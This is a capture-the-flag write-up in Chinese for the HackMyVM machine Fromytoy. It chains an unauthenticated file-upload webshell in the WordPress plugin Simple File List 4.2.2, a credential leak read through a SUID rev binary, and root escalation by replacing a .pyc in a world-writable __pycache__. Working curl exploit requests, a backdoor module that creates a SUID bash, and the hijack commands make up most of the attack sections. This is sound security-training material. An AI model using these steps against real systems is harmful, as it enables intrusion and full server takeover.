跳到主要内容

HackMyVM Fromytoy 通关记录|Simple File List RCE、SUID rev 凭据泄露与 .pyc 劫持提权

靶机链接:Fromytoy


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Fromytoy192.168.1.115Oracle VirtualBox 靶机,内部运行 Docker 容器化 WordPress

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、3000/tcp WordPress明确主攻击面在 WordPress
插件定位readme.txt 暴露 Simple File List 4.2.2确定可用的未授权上传 CVE
初始 RCECVE-2020-36847 + eeSFL_ID/eeSFL_Token 参数获得 www-data 命令执行
凭据泄露SUID rev 二进制读取 server_backup_info.txt获得 miku 明文密码
用户落地miku SSH 登录获得 user flag
Root 提权sudo python3 cleanup_task.py + __pycache__ 777 + UNCHECKED_HASH .pyc 劫持获得 root flag

0x02 侦察与信息收集 (Reconnaissance)

1. 内网主机发现

从 Kali 攻击机先确认同网段存活主机:

nmap -sn 192.168.1.0/24 --min-rate 1000

192.168.1.115 的 MAC 地址 08:00:27:63:9B:58 属于 Oracle VirtualBox,主机名解析为 fromytoy.lan,确认为靶机。

2. RustScan 联动 Nmap 全端口识别

rustscan -a 192.168.1.115 --ulimit 5000 -- -sV -sC -T4

RustScan 首轮输出:

Open 192.168.1.115:22
Open 192.168.1.115:80
Open 192.168.1.115:3000

Nmap 联动复核后的服务摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPApache httpd 2.4.62 (Debian)
3000/tcpHTTPApache httpd 2.4.51 (Debian),WordPress 6.9

补充全端口扫描确认没有其他端口:

nmap -p- --min-rate 5000 -T4 192.168.1.115

结果只有 22、80、3000 三个端口开放。UDP top 1000 均为 closed

3. Web 服务初步观察

端口 80:

curl -i http://192.168.1.115/

返回仅 6 字节的 index\n。目录枚举未能发现其他有效路径,80 端口不是主线。

端口 3000(WordPress):

curl -s http://192.168.1.115:3000/ | grep -iE 'generator|title'

关键信息:

  • 站点标题:VOCALOID NEXUS – The Cyber-Digital Soul Archive
  • WordPress 版本:6.9
  • 页面标题:Protocol: HISTORY
  • 站点处于维护模式(仅首页),但 wp-login.phpwp-jsonxmlrpc.php 均可正常访问

4. WordPress 用户枚举与插件识别

通过 XML-RPC 枚举有效用户:

curl -s -X POST http://192.168.1.115:3000/xmlrpc.php \
-d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value>admin</value></param>
<param><value>test</value></param></params></methodCall>'

返回 Incorrect username or password.,说明 admin 用户存在。依次测试后确认以下用户均存在:

admin
vocaloid
miku
hatsune
nexus

XML-RPC 可用方法(system.listMethods):

system.multicall
system.listMethods
system.getCapabilities
demo.addTwoNumbers
demo.sayHello
pingback.extensions.getPingbacks
pingback.ping

wp.getUsersBlogs 不在列表内,XML-RPC 被主动限制。pingback.ping 保留,可作 SSRF 探测。

插件识别:

curl -s http://192.168.1.115:3000/wp-content/plugins/simple-file-list/readme.txt | head -10

输出:

=== Simple File List ===
Stable tag: 4.2.2

确认 Simple File List 4.2.2 已安装。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. Simple File List 4.2.2 未授权文件上传

漏洞背景

Simple File List 是 WordPress 的一个文件列表/上传插件。版本 ≤ 4.2.2 的 ee-upload-engine.php 端点缺少有效的认证校验,允许未授权用户上传任意文件。该漏洞编号 CVE-2020-36847。

PoC 版本与请求参数差异

原始发现者 coiffeur 在 EDB-ID 48449 中发布了首个公开 PoC。之后的公开版本(如 EDB-ID 52371)简化了请求参数,导致部分部署环境中上传失败。

关键参数问题

在实际测试中,仅发送文件而不带 POST 参数会收到 HTTP 500 空白响应:

curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-upload-engine.php \
-F 'file=@shell.png' -D -
HTTP/1.1 500 Internal Server Error
Content-Length: 0

回溯原始 exploit (EDB-ID 48449),发现上传端点实际需要以下参数:

参数说明
eeSFL_ID1文件列表 ID
eeSFL_FileUploadDir/wp-content/uploads/simple-file-list/上传目标目录
eeSFL_Timestamp1587258885时间戳令牌
eeSFL_Tokenba288252629a5399759b6fde1e205bc2固定的 CSRF 令牌

同样,重命名端点 ee-file-engine.php 需要:

参数说明
eeSFL_ID1文件列表 ID
eeFileOldcmd.png原文件名
eeListFolder/目录路径
eeFileActionRename|cmd.php重命名动作
请求头要求

还需要 RefererX-Requested-With 请求头来绕过 Ajax 检测。

2. 漏洞利用:上传 WebShell 获得 www-data RCE

完整利用脚本见附件:simple-file-list-rce.py

三步利用过程:

步骤一:上传 PHP Shell(伪装为 PNG)

curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-upload-engine.php \
-F 'file=@cmd.png;type=image/png' \
-F 'eeSFL_ID=1' \
-F 'eeSFL_FileUploadDir=/wp-content/uploads/simple-file-list/' \
-F 'eeSFL_Timestamp=1587258885' \
-F 'eeSFL_Token=ba288252629a5399759b6fde1e205bc2'

响应:

SUCCESS

步骤二:重命名为 .php

curl -X POST http://192.168.1.115:3000/wp-content/plugins/simple-file-list/ee-file-engine.php \
-H 'Referer: http://192.168.1.115:3000/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1' \
-H 'X-Requested-With: XMLHttpRequest' \
-d 'eeSFL_ID=1' \
-d 'eeFileOld=cmd.png' \
-d 'eeListFolder=/' \
-d 'eeFileAction=Rename|cmd.php'

响应:

SUCCESS

步骤三:验证命令执行

curl -s 'http://192.168.1.115:3000/wp-content/uploads/simple-file-list/cmd.php?c=id'

结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

WebShell 落地路径:

http://192.168.1.115:3000/wp-content/uploads/simple-file-list/cmd.php?c=<command>

3. 环境确认

通过 WebShell 收集系统信息:

Hostname: 949d50994487
Kernel: Linux 4.19.0-27-amd64 (Debian Buster)
System: Docker container (/.dockerenv exists)
Users: root (0:0), www-data (33:33), miku (1000:1000)

关键发现:

  • 这是一个 Docker 容器,不是裸金属/虚拟机
  • /home/miku 目录不存在(容器内)
  • WordPress 数据库凭据来自环境变量:
    • WORDPRESS_DB_HOST=db
    • WORDPRESS_DB_USER=wp_user
    • WORDPRESS_DB_PASSWORD=wp_password_123
    • WORDPRESS_DB_NAME=vocaloid_db

0x04 横向移动:www-data → miku

1. SUID 二进制发现

在常规的 SUID 枚举中,除了标准系统二进制之外,发现了一个异常项:

find / -perm -u=s -type f 2>/dev/null | grep -vE '(chsh|chfn|newgrp|gpasswd|passwd|mount|su|umount)'

输出:

/usr/local/lib/.sys_log_rotator

详细属性:

ls -la /usr/local/lib/.sys_log_rotator
file /usr/local/lib/.sys_log_rotator

结果:

-rwsr-xr-x 1 miku miku 14568 Jan 20 05:04 /usr/local/lib/.sys_log_rotator
setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked

关键点:

  • SUID 所有者是 miku,不是 root
  • 文件位于 /usr/local/lib/ 并以 . 前缀隐藏
  • 基于 util-linux 2.36.1 的 rev 命令源码

执行测试:

/usr/local/lib/.sys_log_rotator --help

输出:

Usage: .sys_log_rotator [options] [file ...]
Reverse lines characterwise.
Options:
-h, --help display this help
-V, --version display version
For more details see rev(1).

功能等价于 rev:逐行反转字符串。虽然功能简单,但因为它以 miku 身份运行,可以读取任何 miku 用户有权访问的文件。

2. 寻找 miku 专属文件

find / -user miku -type f 2>/dev/null | grep -v proc | grep -v sys

结果:

/var/www/html/wp-content/uploads/server_backup_info.txt

权限检查:

ls -la /var/www/html/wp-content/uploads/server_backup_info.txt
-rw------- 1 miku miku 254 Jan 20 12:36 /var/www/html/wp-content/uploads/server_backup_info.txt

权限 0600 意味着只有 miku 自己(以及 root)能读取。www-data 直接读取会失败:

cat /var/www/html/wp-content/uploads/server_backup_info.txt
# cat: Permission denied

3. 利用 SUID rev 读取备份文件

/usr/local/lib/.sys_log_rotator /var/www/html/wp-content/uploads/server_backup_info.txt

输出是反转的每一行,再次 rev 还原:

/usr/local/lib/.sys_log_rotator /var/www/html/wp-content/uploads/server_backup_info.txt \
| /usr/local/lib/.sys_log_rotator

结果:

Backup Date: 2025-01-10
Status: Pending verification
Note for Sysadmin:
The SSH key rotation failed. Reverted to temporary credentials for host 'fromytoy'.
User: miku
Password: V0cal0id_M1ku_39

SECURITY ALERT: Please delete this file after verification

获得 miku 凭据

项目
用户miku
密码V0cal0id_M1ku_39
来源/var/www/html/wp-content/uploads/server_backup_info.txt
读取方法SUID rev 二进制(以 miku 身份运行)

4. SSH 登录 miku

sshpass -p 'V0cal0id_M1ku_39' ssh \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
miku@192.168.1.115 'id'

结果:

uid=1000(miku) gid=1000(miku) groups=1000(miku)

0x05 权限提升:miku → root

1. sudo 权限枚举

sudo -l

结果:

Matching Defaults entries for miku on fromytoy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User miku may run the following commands on fromytoy:
(ALL) NOPASSWD: /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py

miku 可以以 root 身份无密码执行指定的 Python 脚本。

2. 审计 cleanup_task.py 及 system_utils 模块

cat /usr/local/lib/python_scripts/cleanup_task.py
#!/usr/bin/env python3
import sys
import os
import system_utils

def main():
print("[*] Starting system cleanup...")
if os.geteuid() != 0:
print("[-] Error: This script must be run as root.")
sys.exit(1)

system_utils.check_disk_space()
print("[+] Cleanup completed successfully.")

if __name__ == "__main__":
main()

脚本导入了一个自定义模块 system_utils。查看该模块:

cat /usr/local/lib/python_scripts/system_utils.py
import os

def check_disk_space():
print("[*] Checking disk usage...")
os.system("df -h")

两个发现:

  1. system_utils.check_disk_space() 调用 os.system("df -h"),会执行外部命令
  2. Python 在导入时会查找同目录下的模块

3. __pycache__ 目录权限

ls -la /usr/local/lib/python_scripts/__pycache__/
drwxrwxrwx 2 root root 4096 Jan 20 00:35 .
drwxr-xr-x 3 root root 4096 Jan 19 22:50 ..
-rw-r--r-- 1 root root 566 Jan 19 22:41 cleanup_task.cpython-39.pyc
-rw-r--r-- 1 root root 333 Jan 20 00:35 system_utils.cpython-39.pyc

关键问题:__pycache__ 目录权限为 777(所有人可读写),但里面的 .pyc 文件属于 root:root

虽然不能直接修改 .pyc 文件,但在 Linux 中目录的写权限意味着可以删除该目录中的任意文件(无论文件自身权限),然后创建新文件

4. UNCHECKED_HASH .pyc 劫持

Python 3.9 的 .pyc 文件支持三种失效模式:

模式说明
TIMESTAMP根据源文件时间戳判断是否重新编译
CHECKED_HASH默认模式,根据源文件哈希判断(PEP 552)
UNCHECKED_HASH不检查源文件,直接信任 .pyc

如果以 UNCHECKED_HASH 模式编译 .pyc,Python 解释器将无条件使用它而不验证源文件是否匹配。

编译模式影响复现结果

Python 的 UNCHECKED_HASH 编译模式是其中的决定性因素:如果脚本以默认 CHECKED_HASH 编译,Python 将在导入时检测到源文件哈希不匹配而重新编译,从而让替换无效。

利用原理:

  1. 编写恶意 system_utils.py(让 check_disk_space() 执行我们的命令)
  2. UNCHECKED_HASH 模式编译为 .pyc
  3. 删除 __pycache__ 中的原始 .pyc,替换为恶意版本
  4. 匹配源文件时间戳以规避其他检查
  5. sudo 执行 cleanup_task.py,Python 导入恶意模块

完整利用脚本见附件:pyc-hijack-privesc.sh

手动执行步骤:

# 1. 编写恶意模块
cat > /tmp/system_utils_mal.py << 'EOF'
import os
def check_disk_space():
print("[*] Checking disk usage...")
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
os.system("cat /root/root.txt > /tmp/root_flag.txt && chmod 666 /tmp/root_flag.txt")
print("[+] Backdoor installed")
EOF

# 2. UNCHECKED_HASH 编译
python3 -c "
import py_compile
py_compile.compile(
'/tmp/system_utils_mal.py',
cfile='/tmp/system_utils.cpython-39.pyc',
invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH
)
print('[+] Compiled')
"

# 3. 替换目标 .pyc
rm -f /usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc
cp /tmp/system_utils.cpython-39.pyc /usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc
touch -r /usr/local/lib/python_scripts/system_utils.py \
/usr/local/lib/python_scripts/__pycache__/system_utils.cpython-39.pyc

# 4. 触发 sudo 执行
sudo /usr/bin/python3 /usr/local/lib/python_scripts/cleanup_task.py

输出:

[*] Starting system cleanup...
[*] Checking disk usage...
[+] Backdoor installed
[+] Cleanup completed successfully.

5. 验证提权结果

ls -la /tmp/rootbash /tmp/root_flag.txt
cat /tmp/root_flag.txt

结果:

-rwsr-sr-x 1 root root 1168776 Jul 18 00:27 /tmp/rootbash
-rw-rw-rw- 1 root root 124 Jul 18 00:27 /tmp/root_flag.txt

a6c7cf996c275fa5afe6e47bc6f5c79e

用 SUID bash 确认 root 身份:

/tmp/rootbash -p -c 'id; whoami'

结果:

uid=1000(miku) gid=1000(miku) euid=0(root) egid=0(root) groups=0(root),1000(miku)
root

6. .pyc 劫持的三个关键条件复盘

本次提权能成立,依赖三个条件同时满足:

条件实际情形影响
sudo NOPASSWD 执行 Python 脚本(ALL) NOPASSWD: /usr/bin/python3 .../cleanup_task.py非特权用户可触发 root 上下文 Python
脚本导入外部模块import system_utils → 同目录查找模块路径可控
__pycache__ 可写 + .pyc 可删除drwxrwxrwx + 目录写特权可替换为恶意编译文件

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/miku/user.txt
  • 内容: 26d1ebd4ec8c55cc69f190d0d37f6dac

Root Flag

  • 路径: /root/root.txt
  • 内容: a6c7cf996c275fa5afe6e47bc6f5c79e

附件下载

脚本说明下载
simple-file-list-rce.pySimple File List 4.2.2 未授权上传 RCE 脚本(基于 coiffeur EDB-ID 48449,补充 eeSFL 参数)下载
pyc-hijack-privesc.shPython .pyc 劫持提权脚本(自编写,UNCHECKED_HASH 编译 + pycache 替换)下载

复盘总结

Fromytoy 的主线不是单个高危漏洞,而是插件文件上传、SUID 凭据泄露和 Python 模块缓存配置不当的连续放大。

  1. Simple File List 的上传参数容易被忽略。 CVE-2020-36847 的较新 PoC 只上传文件,缺少 eeSFL_IDeeSFL_Token 等参数,导致 500 响应。回退到原始 exploit 版本才能正确利用。在评估插件漏洞时,不同版本的 PoC 差异值得留意。

  2. SUID 二进制不必是 root 才危险。 .sys_log_rotator 只是 rev 命令,SUID 所有者是 miku 而不是 root。但它的存在使 www-data 能够读取仅 miku 可读的 server_backup_info.txt,直接把一个文件权限问题变成了凭据泄露。

  3. 备份文件里的明文密码仍然是常见疏忽。 server_backup_info.txt 记录了 SSH 密钥轮换失败后的临时凭据,既没加密也没及时删除,成为了横向提权的关键。

  4. __pycache__ 的 777 权限是提权突破口。 Python 模块缓存目录设置了 drwxrwxrwx,任何用户都可以删除并替换其中的 .pyc 文件。结合 PYCInvalidationMode.UNCHECKED_HASH,攻击者可以让 Python 解释器无条件执行恶意代码。

  5. Docker 容器不是安全边界。 虽然靶机运行在容器中,但获得了容器内的 root 后,可以通过挂载的卷和 Docker 内部网络访问宿主机资源。/var/lib/docker/overlay2/ 下的多个 overlay 挂载点暗示了这一点。

  6. 防守侧应同时收紧插件更新、文件权限和 Python 模块缓存安全。 插件应及时更新以修复已知未授权上传;运维备份文件应加密存储且定期清理;Python 脚本目录及 __pycache__ 不应设为全局可写;授予 NOPASSWD 的脚本应审查其导入链中的每一层。